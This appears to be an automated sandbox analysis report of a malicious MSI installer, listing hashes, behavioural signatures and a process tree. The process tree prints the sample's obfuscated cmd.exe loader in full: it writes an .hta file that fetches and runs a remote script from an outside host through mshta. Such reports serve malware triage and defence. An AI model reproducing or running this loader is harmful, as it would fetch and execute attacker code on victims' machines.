Analysis
- max time kernel
122s - max time network
128s - platform
windows7_x64 - resource
win7-en-20211208 - submitted
08/12/2021, 15:26
Static task
static1
Behavioral task
behavioral1
Sample
25fb665e690ed6a67ca24affff87a0bc.msi
Resource
win7-en-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
25fb665e690ed6a67ca24affff87a0bc.msi
Resource
win10-en-20211208
windows10_x64
0 signatures
0 seconds
General
- Target 25fb665e690ed6a67ca24affff87a0bc.msi
- Size 280KB
- Sample211208-st8lashchj
- SHA256 6977d52d9fa9ea0e1dc79fe78df2bfeda37d66366fbdf0ba17612f9487274472
- MD5 25fb665e690ed6a67ca24affff87a0bc
- SHA1 4ef41196184d7dec3ea3f72b156d706f3c8e566c
- SHA512 ba054b42cdc7aa409847b443c6ce5fbc3379697f8aa3d423ca2e75975825eb1f3ecae5e62448104c9ce43e697e8ece19093b0f7c6853f8c11594fdb579e40f78
- MD5 SHA1 SHA512
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 3 IoCs
flow pid Process 5 1936 mshta.exe 7 1936 mshta.exe 9 1936 mshta.exe - Executes dropped EXE 1 IoCs
pid Process 1044 pwlauncher.exe - Loads dropped DLL 1 IoCs
pid Process 916 MsiExec.exe - Modifies file permissions 1 TTPs 2 IoCs
pid Process 1704 ICACLS.EXE 300 ICACLS.EXE - Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\J: msiexec.exe - Drops file in Windows directory 11 IoCs
description ioc Process File opened for modification C:\Windows\INF\setupapi.ev3 DrvInst.exe File opened for modification C:\Windows\INF\setupapi.ev1 DrvInst.exe File opened for modification C:\Windows\INF\setupapi.dev.log DrvInst.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSI1F15.tmp msiexec.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log EXPAND.EXE File created C:\Windows\Installer\f771d22.msi msiexec.exe File opened for modification C:\Windows\Installer\f771d22.msi msiexec.exe File created C:\Windows\Installer\f771d23.ipi msiexec.exe File opened for modification C:\Windows\Logs\DPX\setupact.log EXPAND.EXE File opened for modification C:\Windows\Installer\f771d23.ipi msiexec.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main mshta.exe - Modifies data under HKEY_USERS 43 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust DrvInst.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates DrvInst.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 528 msiexec.exe 528 msiexec.exe - Suspicious use of AdjustPrivilegeToken 53 IoCs
description pid Process Token: SeShutdownPrivilege 1944 msiexec.exe Token: SeIncreaseQuotaPrivilege 1944 msiexec.exe Token: SeRestorePrivilege 528 msiexec.exe Token: SeTakeOwnershipPrivilege 528 msiexec.exe Token: SeSecurityPrivilege 528 msiexec.exe Token: SeCreateTokenPrivilege 1944 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1944 msiexec.exe Token: SeLockMemoryPrivilege 1944 msiexec.exe Token: SeIncreaseQuotaPrivilege 1944 msiexec.exe Token: SeMachineAccountPrivilege 1944 msiexec.exe Token: SeTcbPrivilege 1944 msiexec.exe Token: SeSecurityPrivilege 1944 msiexec.exe Token: SeTakeOwnershipPrivilege 1944 msiexec.exe Token: SeLoadDriverPrivilege 1944 msiexec.exe Token: SeSystemProfilePrivilege 1944 msiexec.exe Token: SeSystemtimePrivilege 1944 msiexec.exe Token: SeProfSingleProcessPrivilege 1944 msiexec.exe Token: SeIncBasePriorityPrivilege 1944 msiexec.exe Token: SeCreatePagefilePrivilege 1944 msiexec.exe Token: SeCreatePermanentPrivilege 1944 msiexec.exe Token: SeBackupPrivilege 1944 msiexec.exe Token: SeRestorePrivilege 1944 msiexec.exe Token: SeShutdownPrivilege 1944 msiexec.exe Token: SeDebugPrivilege 1944 msiexec.exe Token: SeAuditPrivilege 1944 msiexec.exe Token: SeSystemEnvironmentPrivilege 1944 msiexec.exe Token: SeChangeNotifyPrivilege 1944 msiexec.exe Token: SeRemoteShutdownPrivilege 1944 msiexec.exe Token: SeUndockPrivilege 1944 msiexec.exe Token: SeSyncAgentPrivilege 1944 msiexec.exe Token: SeEnableDelegationPrivilege 1944 msiexec.exe Token: SeManageVolumePrivilege 1944 msiexec.exe Token: SeImpersonatePrivilege 1944 msiexec.exe Token: SeCreateGlobalPrivilege 1944 msiexec.exe Token: SeBackupPrivilege 1164 vssvc.exe Token: SeRestorePrivilege 1164 vssvc.exe Token: SeAuditPrivilege 1164 vssvc.exe Token: SeBackupPrivilege 528 msiexec.exe Token: SeRestorePrivilege 528 msiexec.exe Token: SeRestorePrivilege 996 DrvInst.exe Token: SeRestorePrivilege 996 DrvInst.exe Token: SeRestorePrivilege 996 DrvInst.exe Token: SeRestorePrivilege 996 DrvInst.exe Token: SeRestorePrivilege 996 DrvInst.exe Token: SeRestorePrivilege 996 DrvInst.exe Token: SeRestorePrivilege 996 DrvInst.exe Token: SeLoadDriverPrivilege 996 DrvInst.exe Token: SeLoadDriverPrivilege 996 DrvInst.exe Token: SeLoadDriverPrivilege 996 DrvInst.exe Token: SeRestorePrivilege 528 msiexec.exe Token: SeTakeOwnershipPrivilege 528 msiexec.exe Token: SeRestorePrivilege 528 msiexec.exe Token: SeTakeOwnershipPrivilege 528 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1944 msiexec.exe 1944 msiexec.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 528 wrote to memory of 916 528 msiexec.exe 33 PID 528 wrote to memory of 916 528 msiexec.exe 33 PID 528 wrote to memory of 916 528 msiexec.exe 33 PID 528 wrote to memory of 916 528 msiexec.exe 33 PID 528 wrote to memory of 916 528 msiexec.exe 33 PID 528 wrote to memory of 916 528 msiexec.exe 33 PID 528 wrote to memory of 916 528 msiexec.exe 33 PID 916 wrote to memory of 1704 916 MsiExec.exe 34 PID 916 wrote to memory of 1704 916 MsiExec.exe 34 PID 916 wrote to memory of 1704 916 MsiExec.exe 34 PID 916 wrote to memory of 1704 916 MsiExec.exe 34 PID 916 wrote to memory of 2008 916 MsiExec.exe 36 PID 916 wrote to memory of 2008 916 MsiExec.exe 36 PID 916 wrote to memory of 2008 916 MsiExec.exe 36 PID 916 wrote to memory of 2008 916 MsiExec.exe 36 PID 916 wrote to memory of 2028 916 MsiExec.exe 38 PID 916 wrote to memory of 2028 916 MsiExec.exe 38 PID 916 wrote to memory of 2028 916 MsiExec.exe 38 PID 916 wrote to memory of 2028 916 MsiExec.exe 38 PID 2028 wrote to memory of 1240 2028 cmd.exe 40 PID 2028 wrote to memory of 1240 2028 cmd.exe 40 PID 2028 wrote to memory of 1240 2028 cmd.exe 40 PID 2028 wrote to memory of 1240 2028 cmd.exe 40 PID 2028 wrote to memory of 1792 2028 cmd.exe 41 PID 2028 wrote to memory of 1792 2028 cmd.exe 41 PID 2028 wrote to memory of 1792 2028 cmd.exe 41 PID 2028 wrote to memory of 1792 2028 cmd.exe 41 PID 1792 wrote to memory of 1936 1792 cmd.exe 42 PID 1792 wrote to memory of 1936 1792 cmd.exe 42 PID 1792 wrote to memory of 1936 1792 cmd.exe 42 PID 1792 wrote to memory of 1936 1792 cmd.exe 42 PID 916 wrote to memory of 1000 916 MsiExec.exe 46 PID 916 wrote to memory of 1000 916 MsiExec.exe 46 PID 916 wrote to memory of 1000 916 MsiExec.exe 46 PID 916 wrote to memory of 1000 916 MsiExec.exe 46 PID 916 wrote to memory of 300 916 MsiExec.exe 48 PID 916 wrote to memory of 300 916 MsiExec.exe 48 PID 916 wrote to memory of 300 916 MsiExec.exe 48 PID 916 wrote to memory of 300 916 MsiExec.exe 48
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\25fb665e690ed6a67ca24affff87a0bc.msi1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1944
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:528 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding B6ADDD290EC1B721D9BA4E4271F3C22E2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:916 -
C:\Windows\SysWOW64\ICACLS.EXE"C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-d8cc9759-91c4-4411-b1b9-3a0f604eabec\." /SETINTEGRITYLEVEL (CI)(OI)HIGH3⤵
- Modifies file permissions
PID:1704
-
-
C:\Windows\SysWOW64\EXPAND.EXE"C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files3⤵
- Drops file in Windows directory
PID:2008
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /V/D/c "seT sKk=script&&seT px=mshta&&SEt ${svar7}=C:\Users\Public\\Videos\\^amb&&SEt MFOUV=^<!sKk!^>try{vgovgar c=’!sKk!:’;d=’hgovgTtP:’;GgovgetObjgovgect(c+d+’&&sET N0X1=CDSCACDSCA61djwb8eitq.leteaxe.worldCDSCA?2CDSCA’);}catch(e){}close();^</!sKk!^>&&sEt/^p 4N73="%MFOUV:govg=%%N0X1:CDSCA=/%"<nul > %${svar7}%.Hta|CMD /c !px! !${svar7}!.HtA "3⤵
- Suspicious use of WriteProcessMemory
PID:2028 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" sEt/p 4N73="%MFOUV:govg=%%N0X1:CDSCA=/%" 0<nul 1>%${svar7}%.Hta"4⤵PID:1240
-
-
C:\Windows\SysWOW64\cmd.exeCMD /c mshta C:\Users\Public\\Videos\\amb.HtA4⤵
- Suspicious use of WriteProcessMemory
PID:1792 -
C:\Windows\SysWOW64\mshta.exemshta C:\Users\Public\\Videos\\amb.HtA5⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
PID:1936
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\MW-d8cc9759-91c4-4411-b1b9-3a0f604eabec\files\pwlauncher.exe"C:\Users\Admin\AppData\Local\Temp\MW-d8cc9759-91c4-4411-b1b9-3a0f604eabec\files\pwlauncher.exe"3⤵
- Executes dropped EXE
PID:1044
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c rd /s /q "C:\Users\Admin\AppData\Local\Temp\MW-d8cc9759-91c4-4411-b1b9-3a0f604eabec\files"3⤵PID:1000
-
-
C:\Windows\SysWOW64\ICACLS.EXE"C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-d8cc9759-91c4-4411-b1b9-3a0f604eabec\." /SETINTEGRITYLEVEL (CI)(OI)LOW3⤵
- Modifies file permissions
PID:300
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1164
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "1" "200" "STORAGE\VolumeSnapshot\HarddiskVolumeSnapshot14" "" "" "60919e20f" "0000000000000000" "00000000000003B0" "00000000000003AC"1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:996